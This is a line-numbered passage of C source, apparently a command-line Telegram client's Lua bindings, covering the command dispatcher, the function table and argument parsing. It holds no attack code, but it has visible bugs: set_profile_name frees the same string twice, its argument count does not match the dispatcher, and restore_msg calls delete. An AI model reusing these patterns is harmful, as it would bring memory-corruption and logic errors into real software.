(luaState, 20); 1026 | 1027 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 1028 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 1029 | 1030 | lua_pushnumber (luaState, success); 1031 | 1032 | if (success) { 1033 | lua_pushstring (luaState, data); 1034 | } else { 1035 | lua_pushboolean (luaState, 0); 1036 | } 1037 | 1038 | assert (lua_gettop (luaState) == 4); 1039 | 1040 | int r = ps_lua_pcall (luaState, 3, 0, 0); 1041 | 1042 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 1043 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 1044 | 1045 | if (r) { 1046 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 1047 | } 1048 | 1049 | free (cb); 1050 | } 1051 | 1052 | void lua_do_all (void) { 1053 | int p = 0; 1054 | while (p < pos) { 1055 | int l = (long)lua_ptr[p ++]; 1056 | assert (p + l + 1 <= pos); 1057 | enum lua_query_type f = (long)lua_ptr[p ++]; 1058 | struct tgl_message *M; 1059 | char *s, *s1, *s2, *s3; 1060 | switch (f) { 1061 | case lq_contact_list: 1062 | tgl_do_update_contact_list (TLS, lua_contact_list_cb, lua_ptr[p ++]); 1063 | break; 1064 | case lq_dialog_list: 1065 | tgl_do_get_dialog_list (TLS, 100, 0, lua_dialog_list_cb, lua_ptr[p ++]); 1066 | break; 1067 | case lq_msg: 1068 | tgl_do_send_message (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], strlen (lua_ptr[p + 2]), 0, NULL, lua_msg_cb, lua_ptr[p]); 1069 | free (lua_ptr[p + 2]); 1070 | p += 3; 1071 | break; 1072 | case lq_send_typing: 1073 | tgl_do_send_typing (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, tgl_typing_typing, lua_empty_cb, lua_ptr[p]); 1074 | p += 2; 1075 | break; 1076 | case lq_send_typing_abort: 1077 | tgl_do_send_typing (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, tgl_typing_cancel, lua_empty_cb, lua_ptr[p]); 1078 | p += 2; 1079 | break; 1080 | case lq_rename_chat: 1081 | tgl_do_rename_chat (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], strlen (lua_ptr[p + 2]), lua_empty_cb, lua_ptr[p]); 1082 | free (lua_ptr[p + 2]); 1083 | p += 3; 1084 | break; 1085 | case lq_send_photo: 1086 | tgl_do_send_document (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], NULL, 0, TGL_SEND_MSG_FLAG_DOCUMENT_PHOTO, lua_msg_cb, lua_ptr[p]); 1087 | free (lua_ptr[p + 2]); 1088 | p += 3; 1089 | break; 1090 | case lq_send_video: 1091 | tgl_do_send_document (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], NULL, 0, TGL_SEND_MSG_FLAG_DOCUMENT_VIDEO, lua_msg_cb, lua_ptr[p]); 1092 | free (lua_ptr[p + 2]); 1093 | p += 3; 1094 | break; 1095 | case lq_send_audio: 1096 | tgl_do_send_document (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], NULL, 0, TGL_SEND_MSG_FLAG_DOCUMENT_AUDIO, lua_msg_cb, lua_ptr[p]); 1097 | free (lua_ptr[p + 2]); 1098 | p += 3; 1099 | break; 1100 | case lq_send_document: 1101 | tgl_do_send_document (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], NULL, 0, 0, lua_msg_cb, lua_ptr[p]); 1102 | free (lua_ptr[p + 2]); 1103 | p += 3; 1104 | break; 1105 | case lq_send_file: 1106 | tgl_do_send_document (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], NULL, 0, TGL_SEND_MSG_FLAG_DOCUMENT_AUTO, lua_msg_cb, lua_ptr[p]); 1107 | free (lua_ptr[p + 2]); 1108 | p += 3; 1109 | break; 1110 | case lq_send_text: 1111 | tgl_do_send_text (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], 0, lua_msg_cb, lua_ptr[p]); 1112 | free (lua_ptr[p + 2]); 1113 | p += 3; 1114 | break; 1115 | case lq_chat_set_photo: 1116 | tgl_do_set_chat_photo (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_ptr[p + 2], lua_empty_cb, lua_ptr[p]); 1117 | free (lua_ptr[p + 2]); 1118 | p += 3; 1119 | break; 1120 | case lq_load_photo: 1121 | case lq_load_video: 1122 | case lq_load_audio: 1123 | case lq_load_document: 1124 | M = lua_ptr[p + 1]; 1125 | if (!M || (M->media.type != tgl_message_media_photo && M->media.type != tgl_message_media_document && M->media.type != tgl_message_media_document_encr)) { 1126 | lua_file_cb (TLS, lua_ptr[p], 0, 0); 1127 | } else { 1128 | if (M->media.type == tgl_message_media_photo) { 1129 | assert (M->media.photo); 1130 | tgl_do_load_photo (TLS, M->media.photo, lua_file_cb, lua_ptr[p]); 1131 | } else if (M->media.type == tgl_message_media_document) { 1132 | assert (M->media.document); 1133 | tgl_do_load_document (TLS, M->media.document, lua_file_cb, lua_ptr[p]); 1134 | } else { 1135 | tgl_do_load_encr_document (TLS, M->media.encr_document, lua_file_cb, lua_ptr[p]); 1136 | } 1137 | } 1138 | p += 2; 1139 | break; 1140 | case lq_load_video_thumb: 1141 | case lq_load_document_thumb: 1142 | M = lua_ptr[p + 1]; 1143 | if (!M || (M->media.type != tgl_message_media_document)) { 1144 | lua_file_cb (TLS, lua_ptr[p], 0, 0); 1145 | } else { 1146 | tgl_do_load_document_thumb (TLS, M->media.document, lua_file_cb, lua_ptr[p]); 1147 | } 1148 | p += 2; 1149 | break; 1150 | case lq_fwd: 1151 | tgl_do_forward_message (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, ((struct tgl_message *)lua_ptr[p + 2])->id, 0, lua_msg_cb, lua_ptr[p]); 1152 | p += 3; 1153 | break; 1154 | case lq_fwd_media: 1155 | tgl_do_forward_media (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, ((struct tgl_message *)lua_ptr[p + 2])->id, 0, lua_msg_cb, lua_ptr[p]); 1156 | p += 3; 1157 | break; 1158 | case lq_chat_info: 1159 | tgl_do_get_chat_info (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, 0, lua_chat_cb, lua_ptr[p]); 1160 | p += 2; 1161 | break; 1162 | case lq_user_info: 1163 | tgl_do_get_user_info (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, 0, lua_user_cb, lua_ptr[p]); 1164 | p += 2; 1165 | break; 1166 | case lq_history: 1167 | tgl_do_get_history (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, 0, (long)lua_ptr[p + 2], 0, lua_msg_list_cb, lua_ptr[p]); 1168 | p += 3; 1169 | break; 1170 | case lq_chat_add_user: 1171 | tgl_do_add_user_to_chat (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, ((tgl_peer_t *)lua_ptr[p + 2])->id, 10, lua_empty_cb, lua_ptr[p]); 1172 | p += 3; 1173 | break; 1174 | case lq_chat_del_user: 1175 | tgl_do_del_user_from_chat (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, ((tgl_peer_t *)lua_ptr[p + 2])->id, lua_empty_cb, lua_ptr[p]); 1176 | p += 3; 1177 | break; 1178 | case lq_add_contact: 1179 | s1 = lua_ptr[p + 1]; 1180 | s2 = lua_ptr[p + 2]; 1181 | s3 = lua_ptr[p + 3]; 1182 | tgl_do_add_contact (TLS, s1, strlen (s1), s2, strlen (s2), s3, strlen (s3), 0, lua_contact_list_cb, lua_ptr[p]); 1183 | free (s1); 1184 | free (s2); 1185 | free (s3); 1186 | p += 4; 1187 | break; 1188 | case lq_del_contact: 1189 | tgl_do_del_contact (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_empty_cb, lua_ptr[p]); 1190 | p += 2; 1191 | break; 1192 | case lq_rename_contact: 1193 | s1 = lua_ptr[p + 1]; 1194 | s2 = lua_ptr[p + 2]; 1195 | s3 = lua_ptr[p + 3]; 1196 | tgl_do_add_contact (TLS, s1, strlen (s1), s2, strlen (s2), s3, strlen (s3), 1, lua_contact_list_cb, lua_ptr[p]); 1197 | free (s1); 1198 | free (s2); 1199 | free (s3); 1200 | p += 4; 1201 | break; 1202 | case lq_search: 1203 | s = lua_ptr[p + 2]; 1204 | tgl_do_msg_search (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, 0, 0, 40, 0, s, strlen (s), lua_msg_list_cb, lua_ptr[p]); 1205 | free (s); 1206 | p += 3; 1207 | break; 1208 | case lq_global_search: 1209 | s = lua_ptr[p + 1]; 1210 | tgl_do_msg_search (TLS, tgl_set_peer_id (TGL_PEER_UNKNOWN, 0), 0, 0, 40, 0, s, strlen (s), lua_msg_list_cb, lua_ptr[p]); 1211 | free (s); 1212 | p += 2; 1213 | break; 1214 | case lq_mark_read: 1215 | tgl_do_mark_read (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_empty_cb, lua_ptr[p]); 1216 | p += 2; 1217 | break; 1218 | case lq_set_profile_photo: 1219 | s = lua_ptr[p + 1]; 1220 | tgl_do_set_profile_photo (TLS, s, lua_empty_cb, lua_ptr[p]); 1221 | free (s); 1222 | p += 2; 1223 | break; 1224 | case lq_set_profile_name: 1225 | s1 = lua_ptr[p + 1]; 1226 | s2 = lua_ptr[p + 1]; 1227 | tgl_do_set_profile_name (TLS, s1, strlen (s1), s2, strlen (s2), lua_user_cb, lua_ptr[p]); 1228 | free (s1); 1229 | free (s2); 1230 | p += 3; 1231 | break; 1232 | case lq_create_secret_chat: 1233 | tgl_do_create_secret_chat (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_secret_chat_cb, lua_ptr[p]); 1234 | p += 2; 1235 | break; 1236 | case lq_create_group_chat: 1237 | s = lua_ptr[p + 2]; 1238 | tgl_do_create_group_chat (TLS, 1, &((tgl_peer_t *)lua_ptr[p + 1])->id, s, strlen (s), lua_empty_cb, lua_ptr[p]); 1239 | free (s); 1240 | p += 3; 1241 | break; 1242 | case lq_delete_msg: 1243 | tgl_do_delete_msg (TLS, ((struct tgl_message *)lua_ptr[p + 1])->id, lua_empty_cb, lua_ptr[p]); 1244 | p += 2; 1245 | break; 1246 | case lq_restore_msg: 1247 | tgl_do_delete_msg (TLS, (long)lua_ptr[p + 1], lua_empty_cb, lua_ptr[p]); 1248 | p += 2; 1249 | break; 1250 | case lq_accept_secret_chat: 1251 | tgl_do_accept_encr_chat_request (TLS, lua_ptr[p + 1], lua_secret_chat_cb, lua_ptr[p]); 1252 | p += 2; 1253 | break; 1254 | case lq_send_contact: 1255 | s1 = lua_ptr[p + 2]; 1256 | s2 = lua_ptr[p + 3]; 1257 | s3 = lua_ptr[p + 4]; 1258 | tgl_do_send_contact (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, s1, strlen (s1), s2, strlen (s2), s3, strlen (s3), 0, lua_msg_cb, lua_ptr[p]); 1259 | free (s1); 1260 | free (s2); 1261 | free (s3); 1262 | p += 5; 1263 | break; 1264 | case lq_status_online: 1265 | tgl_do_update_status (TLS, 1, lua_empty_cb, lua_ptr[p]); 1266 | p ++; 1267 | break; 1268 | case lq_status_offline: 1269 | tgl_do_update_status (TLS, 0, lua_empty_cb, lua_ptr[p]); 1270 | p ++; 1271 | break; 1272 | case lq_extf: 1273 | s = lua_ptr[p + 1]; 1274 | tgl_do_send_extf (TLS, s, strlen (s), lua_str_cb, lua_ptr[p]); 1275 | free (s); 1276 | p += 2; 1277 | break; 1278 | case lq_import_chat_link: 1279 | s = lua_ptr[p + 1]; 1280 | tgl_do_import_chat_link (TLS, s, strlen (s), lua_empty_cb, lua_ptr[p]); 1281 | free (s); 1282 | p += 2; 1283 | break; 1284 | case lq_export_chat_link: 1285 | tgl_do_export_chat_link (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_str_cb, lua_ptr[p]); 1286 | p += 2; 1287 | break; 1288 | case lq_send_location: 1289 | if (sizeof (void *) == 4) { 1290 | tgl_do_send_location (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id , *(float *)(lua_ptr + p + 2), *(float *)(lua_ptr + p + 3), 0, lua_msg_cb, lua_ptr[p]); 1291 | } else { 1292 | tgl_do_send_location (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id , *(double *)(lua_ptr + p + 2), *(double *)(lua_ptr + p + 3), 0, lua_msg_cb, lua_ptr[p]); 1293 | } 1294 | p += 4; 1295 | break; 1296 | case lq_res_user: 1297 | s = lua_ptr[p + 1]; 1298 | tgl_do_contact_search (TLS, s, strlen (s), lua_user_cb, lua_ptr[p]); 1299 | free (s); 1300 | p += 2; 1301 | break; 1302 | case lq_block_user: 1303 | tgl_do_block_user (TLS, ((tgl_peer_t *)lua_ptr[p + 1])->id, lua_empty_cb, lua_ptr[p]); 1304 | p += 2; 1305 | break; 1306 | case lq_get_message: 1307 | tgl_do_get_message (TLS, (long)lua_ptr[p + 1], lua_msg_cb, lua_ptr[p]); 1308 | p += 2; 1309 | break; 1310 | /* 1311 | lq_delete_msg, 1312 | lq_restore_msg, 1313 | case 0: 1314 | tgl_do_send_message (((tgl_peer_t *)lua_ptr[p])->id, lua_ptr[p + 1], strlen (lua_ptr[p + 1]), 0, 0); 1315 | free (lua_ptr[p + 1]); 1316 | p += 2; 1317 | break; 1318 | case 1: 1319 | tgl_do_forward_message (((tgl_peer_t *)lua_ptr[p])->id, (long)lua_ptr[p + 1], 0, 0); 1320 | p += 2; 1321 | break; 1322 | case 2: 1323 | tgl_do_mark_read (((tgl_peer_t *)lua_ptr[p])->id, 0, 0); 1324 | p += 1; 1325 | break;*/ 1326 | default: 1327 | assert (0); 1328 | } 1329 | } 1330 | pos = 0; 1331 | } 1332 | 1333 | 1334 | enum lua_function_param { 1335 | lfp_none, 1336 | lfp_peer, 1337 | lfp_chat, 1338 | lfp_user, 1339 | lfp_secret_chat, 1340 | lfp_string, 1341 | lfp_number, 1342 | lfp_positive_number, 1343 | lfp_nonnegative_number, 1344 | lfp_msg, 1345 | lfp_double 1346 | }; 1347 | 1348 | struct lua_function { 1349 | char *name; 1350 | enum lua_query_type type; 1351 | enum lua_function_param params[10]; 1352 | }; 1353 | 1354 | struct lua_function functions[] = { 1355 | {"get_contact_list", lq_contact_list, { lfp_none }}, 1356 | {"get_dialog_list", lq_dialog_list, { lfp_none }}, 1357 | {"rename_chat", lq_rename_chat, { lfp_chat, lfp_string, lfp_none }}, 1358 | {"send_msg", lq_msg, { lfp_peer, lfp_string, lfp_none }}, 1359 | {"send_typing", lq_send_typing, { lfp_peer, lfp_none }}, 1360 | {"send_typing_abort", lq_send_typing_abort, { lfp_peer, lfp_none }}, 1361 | {"send_photo", lq_send_photo, { lfp_peer, lfp_string, lfp_none }}, 1362 | {"send_video", lq_send_video, { lfp_peer, lfp_string, lfp_none }}, 1363 | {"send_audio", lq_send_audio, { lfp_peer, lfp_string, lfp_none }}, 1364 | {"send_document", lq_send_document, { lfp_peer, lfp_string, lfp_none }}, 1365 | {"send_file", lq_send_file, { lfp_peer, lfp_string, lfp_none }}, 1366 | {"send_text", lq_send_text, { lfp_peer, lfp_string, lfp_none }}, 1367 | {"chat_set_photo", lq_chat_set_photo, { lfp_chat, lfp_string, lfp_none }}, 1368 | {"load_photo", lq_load_photo, { lfp_msg, lfp_none }}, 1369 | {"load_video", lq_load_video, { lfp_msg, lfp_none }}, 1370 | {"load_video_thumb", lq_load_video_thumb, { lfp_msg, lfp_none }}, 1371 | {"load_audio", lq_load_audio, { lfp_msg, lfp_none }}, 1372 | {"load_document", lq_load_document, { lfp_msg, lfp_none }}, 1373 | {"load_document_thumb", lq_load_document_thumb, { lfp_msg, lfp_none }}, 1374 | {"fwd_msg", lq_fwd, { lfp_peer, lfp_msg, lfp_none }}, 1375 | {"fwd_media", lq_fwd_media, { lfp_peer, lfp_msg, lfp_none }}, 1376 | {"chat_info", lq_chat_info, { lfp_chat, lfp_none }}, 1377 | {"user_info", lq_user_info, { lfp_user, lfp_none }}, 1378 | {"get_history", lq_history, { lfp_peer, lfp_nonnegative_number, lfp_none }}, 1379 | {"chat_add_user", lq_chat_add_user, { lfp_chat, lfp_user, lfp_none }}, 1380 | {"chat_del_user", lq_chat_del_user, { lfp_chat, lfp_user, lfp_none }}, 1381 | {"add_contact", lq_add_contact, { lfp_string, lfp_string, lfp_string, lfp_none }}, 1382 | {"del_contact", lq_del_contact, { lfp_user, lfp_none }}, 1383 | {"rename_contact", lq_rename_contact, { lfp_string, lfp_string, lfp_string, lfp_none }}, 1384 | {"msg_search", lq_search, { lfp_peer, lfp_string, lfp_none }}, 1385 | {"msg_global_search", lq_global_search, { lfp_string, lfp_none }}, 1386 | {"mark_read", lq_mark_read, { lfp_peer, lfp_none }}, 1387 | {"set_profile_photo", lq_set_profile_photo, { lfp_string, lfp_none }}, 1388 | {"set_profile_name", lq_set_profile_name, { lfp_string, lfp_none }}, 1389 | {"create_secret_chat", lq_create_secret_chat, { lfp_user, lfp_none }}, 1390 | {"create_group_chat", lq_create_group_chat, { lfp_user, lfp_string, lfp_none }}, 1391 | {"delete_msg", lq_delete_msg, { lfp_msg, lfp_none }}, 1392 | {"restore_msg", lq_restore_msg, { lfp_positive_number, lfp_none }}, 1393 | {"accept_secret_chat", lq_accept_secret_chat, { lfp_secret_chat, lfp_none }}, 1394 | {"send_contact", lq_send_contact, { lfp_peer, lfp_string, lfp_string, lfp_string, lfp_none }}, 1395 | {"status_online", lq_status_online, { lfp_none }}, 1396 | {"status_offline", lq_status_offline, { lfp_none }}, 1397 | {"send_location", lq_send_location, { lfp_peer, lfp_double, lfp_double, lfp_none }}, 1398 | {"ext_function", lq_extf, { lfp_string, lfp_none }}, 1399 | {"import_chat_link", lq_import_chat_link, { lfp_string, lfp_none }}, 1400 | {"res_user", lq_res_user, { lfp_string, lfp_none }}, 1401 | {"export_chat_link", lq_export_chat_link, { lfp_chat, lfp_none }}, 1402 | {"block_user", lq_block_user, { lfp_user, lfp_none }}, 1403 | {"get_message", lq_get_message, { lfp_positive_number, lfp_none }}, 1404 | { 0, 0, { lfp_none}} 1405 | }; 1406 | 1407 | static int parse_lua_function (lua_State *L, struct lua_function *F) { 1408 | int p = 0; 1409 | while (F->params[p] != lfp_none) { p ++; } 1410 | if (lua_gettop (L) != p + 2) { 1411 | lua_pushboolean (L, 0); 1412 | return 1; 1413 | } 1414 | 1415 | int a1 = luaL_ref (L, LUA_REGISTRYINDEX); 1416 | int a2 = luaL_ref (L, LUA_REGISTRYINDEX); 1417 | 1418 | struct lua_query_extra *e = malloc (sizeof (*e)); 1419 | assert (e); 1420 | e->func = a2; 1421 | e->param = a1; 1422 | 1423 | assert (pos + 3 + p < MAX_LUA_COMMANDS); 1424 | 1425 | lua_ptr[pos ++] = (void *)(long)(p + 1); 1426 | lua_ptr[pos ++] = (void *)(long)F->type; 1427 | lua_ptr[pos ++] = e; 1428 | 1429 | int sp = p; 1430 | int ok = 1; 1431 | int cc = 0; 1432 | while (p > 0) { 1433 | p --; 1434 | cc ++; 1435 | const char *s; 1436 | tgl_peer_t *P; 1437 | long long num; 1438 | double dval; 1439 | struct tgl_message *M; 1440 | switch (F->params[p]) { 1441 | case lfp_none: 1442 | assert (0); 1443 | break; 1444 | case lfp_peer: 1445 | case lfp_user: 1446 | case lfp_chat: 1447 | case lfp_secret_chat: 1448 | s = lua_tostring (L, -cc); 1449 | if (!s) { 1450 | ok = 0; 1451 | break; 1452 | } 1453 | if (sscanf (s, "user#id%lld", &num) == 1 && num > 0) { 1454 | tgl_insert_empty_user (TLS, num); 1455 | P = tgl_peer_get (TLS, TGL_MK_USER (num)); 1456 | } else if (sscanf (s, "chat#id%lld", &num) == 1 && num > 0) { 1457 | tgl_insert_empty_chat (TLS, num); 1458 | P = tgl_peer_get (TLS, TGL_MK_CHAT (num)); 1459 | } else if (sscanf (s, "user#%lld", &num) == 1 && num > 0) { 1460 | tgl_insert_empty_user (TLS, num); 1461 | P = tgl_peer_get (TLS, TGL_MK_USER (num)); 1462 | } else if (sscanf (s, "chat#%lld", &num) == 1 && num > 0) { 1463 | tgl_insert_empty_chat (TLS, num); 1464 | P = tgl_peer_get (TLS, TGL_MK_CHAT (num)); 1465 | } else { 1466 | P = get_peer (s); 1467 | } 1468 | if (!P/* || !(P->flags & FLAG_CREATED)*/) { 1469 | ok = 0; 1470 | break; 1471 | } 1472 | if (F->params[p] != lfp_peer) { 1473 | if ((tgl_get_peer_type (P->id) == TGL_PEER_USER && F->params[p] != lfp_user) || 1474 | (tgl_get_peer_type (P->id) == TGL_PEER_CHAT && F->params[p] != lfp_chat) || 1475 | (tgl_get_peer_type (P->id) == TGL_PEER_ENCR_CHAT && F->params[p] != lfp_secret_chat)) { 1476 | ok = 0; 1477 | break; 1478 | } 1479 | } 1480 | lua_ptr[pos + p] = P; 1481 | break; 1482 | 1483 | case lfp_string: 1484 | s = lua_tostring (L, -cc); 1485 | if (!s) { 1486 | ok = 0; 1487 | break; 1488 | } 1489 | lua_ptr[pos + p] = (void *)s; 1490 | break; 1491 | 1492 | case lfp_number: 1493 | num = lua_tonumber (L, -cc); 1494 | 1495 | lua_ptr[pos + p] = (void *)(long)num; 1496 | break; 1497 | 1498 | case lfp_double: 1499 | dval = lua_tonumber (L, -cc); 1500 | 1501 | if (sizeof (void *) == 4) { 1502 | *(float *)(lua_ptr + pos + p) = dval; 1503 | } else { 1504 | assert (sizeof (void *) >= 8); 1505 | *(double *)(lua_ptr + pos + p) = dval; 1506 | } 1507 | break; 1508 | 1509 | case lfp_positive_number: 1510 | num = lua_tonumber (L, -cc); 1511 | if (num <= 0) { 1512 | ok = 0; 1513 | break; 1514 | } 1515 | 1516 | lua_ptr[pos + p] = (void *)(long)num; 1517 | break; 1518 | 1519 | case lfp_nonnegative_number: 1520 | num = lua_tonumber (L, -cc); 1521 | if (num < 0) { 1522 | ok = 0; 1523 | break; 1524 | } 1525 | 1526 | lua_ptr[pos + p] = (void *)(long)num; 1527 | break; 1528 | 1529 | case lfp_msg: 1530 | s = lua_tostring (L, -cc); 1531 | if (!s || !strlen (s)) { 1532 | ok = 0; 1533 | break; 1534 | } 1535 | 1536 | num = atoll (s); 1537 | 1538 | M = tgl_message_get (TLS, num); 1539 | 1540 | if (!M || !(M->flags & TGLMF_CREATED)) { 1541 | ok = 0; 1542 | break; 1543 | } 1544 | 1545 | lua_ptr[pos + p] = M; 1546 | break; 1547 | 1548 | default: 1549 | assert (0); 1550 | } 1551 | } 1552 | if (!ok) { 1553 | luaL_unref (luaState, LUA_REGISTRYINDEX, a1); 1554 | luaL_unref (luaState, LUA_REGISTRYINDEX, a2); 1555 | free (e); 1556 | pos -= 3; 1557 | lua_pushboolean (L, 0); 1558 | return 1; 1559 | } 1560 | 1561 | for (p = 0; p < sp; p++) { 1562 | if (F->params[p] == lfp_string) { 1563 | lua_ptr[pos + p] = strdup (lua_ptr[pos + p]); 1564 | } 1565 | } 1566 | pos += p; 1567 | 1568 | lua_pushboolean (L, 1); 1569 | return 1; 1570 | } 1571 | 1572 | 1573 | static void lua_postpone_alarm (evutil_socket_t fd, short what, void *arg) { 1574 | int *t = arg; 1575 | 1576 | lua_settop (luaState, 0); 1577 | //lua_checkstack (luaState, 20); 1578 | my_lua_checkstack (luaState, 20); 1579 | 1580 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, t[1]); 1581 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, t[0]); 1582 | assert (lua_gettop (luaState) == 2); 1583 | 1584 | int r = ps_lua_pcall (luaState, 1, 0, 0); 1585 | 1586 | luaL_unref (luaState, LUA_REGISTRYINDEX, t[0]); 1587 | luaL_unref (luaState, LUA_REGISTRYINDEX, t[1]); 1588 | 1589 | if (r) { 1590 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 1591 | } 1592 | 1593 | } 1594 | 1595 | static int postpone_from_lua (lua_State *L) { 1596 | int n = lua_gettop (L); 1597 | if (n != 3) { 1598 | lua_pushboolean (L, 0); 1599 | return 1; 1600 | } 1601 | 1602 | double timeout = lua_tonumber (L, -1); 1603 | if (timeout < 0) { 1604 | lua_pushboolean (L, 0); 1605 | return 1; 1606 | } 1607 | 1608 | lua_pop (L, 1); 1609 | int a1 = luaL_ref (L, LUA_REGISTRYINDEX); 1610 | int a2 = luaL_ref (L, LUA_REGISTRYINDEX); 1611 | 1612 | 1613 | int *t = malloc (16); 1614 | assert (t); 1615 | struct event *ev = evtimer_new (TLS->ev_base, lua_postpone_alarm, t); 1616 | t[0] = a1; 1617 | t[1] = a2; 1618 | *(void **)(t + 2) = ev; 1619 | 1620 | struct timeval ts= { 1621 | .tv_sec = (long)timeout, 1622 | .tv_usec = (timeout - ((long)timeout)) * 1000000 1623 | }; 1624 | event_add (ev, &ts); 1625 | 1626 | lua_pushboolean (L, 1); 1627 | return 1; 1628 | } 1629 | 1630 | extern int safe_quit; 1631 | static int safe_quit_from_lua (lua_State *L) { 1632 | int n = lua_gettop (L); 1633 | if (n != 0) { 1634 | lua_pushboolean (L, 0); 1635 | return 1; 1636 | } 1637 | safe_quit = 1; 1638 | 1639 | lua_pushboolean (L, 1); 1640 | return 1; 1641 | } 1642 | 1643 | static int universal_from_lua (lua_State *L) { 1644 | const char *s = lua_tostring(L, lua_upvalueindex(1)); 1645 | if (!s) { 1646 | lua_pushboolean (L, 0); 1647 | return 1; 1648 | } 1649 | int i = 0; 1650 | while (functions[i].name) { 1651 | if (!strcmp (functions[i].name, s)) { 1652 | return parse_lua_function (L, &functions[i]); 1653 | } 1654 | i ++; 1655 | } 1656 | lua_pushboolean (L, 0); 1657 | return 1; 1658 | } 1659 | 1660 | 1661 | static void my_lua_register (lua_State *L, const char *name, lua_CFunction f) { 1662 | lua_pushstring(L, name); 1663 | lua_pushcclosure(L, f, 1); 1664 | lua_setglobal(L, name); 1665 | } 1666 | 1667 | enum command_argument { 1668 | ca_none, 1669 | ca_user, 1670 | ca_chat, 1671 | ca_secret_chat, 1672 | ca_peer, 1673 | ca_file_name, 1674 | ca_file_name_end, 1675 | ca_period, 1676 | ca_number, 1677 | ca_double, 1678 | ca_string_end, 1679 | ca_string, 1680 | ca_modifier, 1681 | ca_command, 1682 | ca_extf, 1683 | 1684 | 1685 | ca_optional = 256 1686 | }; 1687 | 1688 | 1689 | struct arg { 1690 | int flags; 1691 | struct { 1692 | tgl_peer_t *P; 1693 | struct tgl_message *M; 1694 | char *str; 1695 | long long num; 1696 | double dval; 1697 | }; 1698 | }; 1699 | 1700 | struct in_ev; 1701 | struct command { 1702 | char *name; 1703 | enum command_argument args[10]; 1704 | void (*fun)(struct command *command, int arg_num, struct arg args[], struct in_ev *ev); 1705 | char *desc; 1706 | void *arg; 1707 | }; 1708 | 1709 | #define NOT_FOUND (int)0x80000000 1710 | 1711 | static void do_interface_from_lua (struct command *command, int arg_num, struct arg args[], struct in_ev *ev) { 1712 | lua_settop (luaState, 0); 1713 | my_lua_checkstack (luaState, 20); 1714 | 1715 | struct lua_query_extra *e = command->arg; 1716 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, e->func); 1717 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, e->param); 1718 | 1719 | int i; 1720 | for (i = 0; i < arg_num; i ++) { 1721 | int j = i; 1722 | if (j > 9) { j = 9; } 1723 | while (j >= 0) { 1724 | if (command->args[j] == ca_period) { j --; continue; } 1725 | if (command->args[j] == ca_none) { j --; continue; } 1726 | break; 1727 | } 1728 | assert (j >= 0); 1729 | 1730 | switch (command->args[j] & 0xff) { 1731 | case ca_none: 1732 | case ca_period: 1733 | assert (0); 1734 | break; 1735 | case ca_user: 1736 | case ca_chat: 1737 | case ca_secret_chat: 1738 | case ca_peer: 1739 | if (args[i].P) { 1740 | push_peer (args[i].P->id, args[i].P); 1741 | } else { 1742 | lua_pushnil (luaState); 1743 | } 1744 | break; 1745 | case ca_file_name: 1746 | case ca_file_name_end: 1747 | case ca_string_end: 1748 | case ca_string: 1749 | if (args[i].str) { 1750 | lua_pushstring (luaState, args[i].str); 1751 | } else { 1752 | lua_pushnil (luaState); 1753 | } 1754 | break; 1755 | case ca_number: 1756 | if (args[i].num != NOT_FOUND) { 1757 | lua_pushnumber (luaState, args[i].num); 1758 | } else { 1759 | lua_pushnil (luaState); 1760 | } 1761 | break; 1762 | case ca_double: 1763 | if (args[i].dval != NOT_FOUND) { 1764 | lua_pushnumber (luaState, args[i].dval); 1765 | } else { 1766 | lua_pushnil (luaState); 1767 | } 1768 | break; 1769 | } 1770 | } 1771 | 1772 | 1773 | 1774 | int r = ps_lua_pcall (luaState, 1 + arg_num, 0, 0); 1775 | 1776 | if (r) { 1777 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 1778 | } 1779 | } 1780 | 1781 | void register_new_command (struct command *cmd); 1782 | static int register_interface_from_lua (lua_State *L) { 1783 | int n = lua_gettop (L); 1784 | if (n <= 4 || n >= 13) { 1785 | lua_pushboolean (L, 0); 1786 | return 1; 1787 | } 1788 | 1789 | static struct command cmd; 1790 | memset (&cmd, 0, sizeof (struct command)); 1791 | 1792 | int i; 1793 | for (i = 0; i < n - 4; i++) { 1794 | const char *s = lua_tostring (L, -1); 1795 | lua_pop (L, 1); 1796 | 1797 | if (!s || !strlen (s)) { 1798 | lua_pushboolean (L, 0); 1799 | return 1; 1800 | } 1801 | 1802 | int len = strlen (s); 1803 | int optional = 0; 1804 | if (len > 9 && !strcmp (s + len - 9, " optional")) { 1805 | optional = ca_optional; 1806 | len -= 